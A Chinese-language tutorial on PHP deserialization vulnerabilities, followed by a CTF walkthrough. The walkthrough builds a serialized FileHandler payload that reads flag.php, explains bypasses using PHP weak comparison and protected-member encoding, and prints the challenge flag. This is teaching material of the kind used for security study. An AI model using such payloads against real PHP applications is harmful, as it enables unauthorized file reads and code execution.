目录
- PHP反序列化
- 序列化
- 反序列化
- 原理
- 涉及技术
- 利用
- 危害
- CTF靶场
PHP反序列化
序列化
将对象转换成字符串
反序列化
相反,将字符串转换成对象。
数据格式的转换对象的序列化有利于对象的保存和传输,也可以让多个文件共享对象。
原理
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
//例如:
//无类,序列化和反序列化
<?php$key="rumilc";
echo serialize($key);echo "</br>";
$key2 = 's:6:"rumilc";';
echo unserialize($key2);
涉及技术
有类和无类
有类和无类区别:有无class定义
基本概念
有类:触发魔术方法
魔术方法具体参考
触发: unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法: __construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发 ......
利用
真实应用下
CTF中常见
危害
SQL注入
目录遍历
代码执行
…
CTF靶场
题目地址
进入环境:
给了php代码,进行分析
根据题目以及代码,向下发现了unserialize
思路:
第一:获取flag存储flag.php
第二:两个魔术方法__destruct和 __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出
进行构造,序列化处理:
<?php
class FileHandler
{public $op = '2.0'; //源码观察发现,op为1时候是执行写入,为2时执行读//使用 ' 2'也可以绕过op的值public $filename="flag.php"; //文件开头调用的是flag.phppublic $content; //可以不用写,或者任意
}
$flag = new FileHandler();
echo serialize($flag);
?>
执行完成后,得到:
O:11:“FileHandler”:3:{s:2:“op”;s:3:“2.0”;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;}
将此作为参数值,赋值给str进行请求
发现有返回,查看源码
源码当中:
得到答案
$FLAG = "ctfhub{2edb689c4de533b460e6c2af}";
还可以将其还原成对象:
<?php$key = 'O:11:"FileHandler":3:{s:2:"op";s:3:"2.0";s:8:"filename";s:8:"flag.php";s:7:"content";N;}';var_dump(unserialize($key));
?>
还原的对象结果:
object(__PHP_Incomplete_Class)#1 (4) {["__PHP_Incomplete_Class_Name"]=>string(11) "FileHandler"["op"]=>string(3) "2.0"["filename"]=>string(8) "flag.php"["content"]=>NULL
}
反序列化魔术方法调用,弱类型绕过,ascii绕过
== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。
=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。
使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。
__destruct函数对$this->op进行了===判断并内容在2字符串时会赋值为1,
process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),
因此这里存在弱类型比较,可以使用数字2或字符串’ 2’绕过判断。
is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,
因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,
使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。